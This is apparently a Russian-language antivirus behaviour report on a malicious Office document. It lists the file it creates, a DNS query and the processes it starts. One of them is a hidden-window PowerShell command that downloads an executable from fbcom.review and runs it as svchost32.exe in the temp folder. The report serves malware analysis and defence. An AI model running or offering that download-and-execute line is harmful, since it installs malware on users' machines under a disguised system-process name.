Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- https://fbcom.review/f/8.exe как %temp%\svchost32.exe
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{490d11ed-17d4-469a-9aea-adde689a9a3c}.tmp
Сетевая активность
UDP
- DNS ASK fb###.review
Другое
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' (New-Object System.Net.WebClient).DownloadFile('https://fbcom.review/f/8.exe','%TEMP%\svchost32.exe');Start-Process '%TEMP%\svchost32.exe' (со скрытым окном)
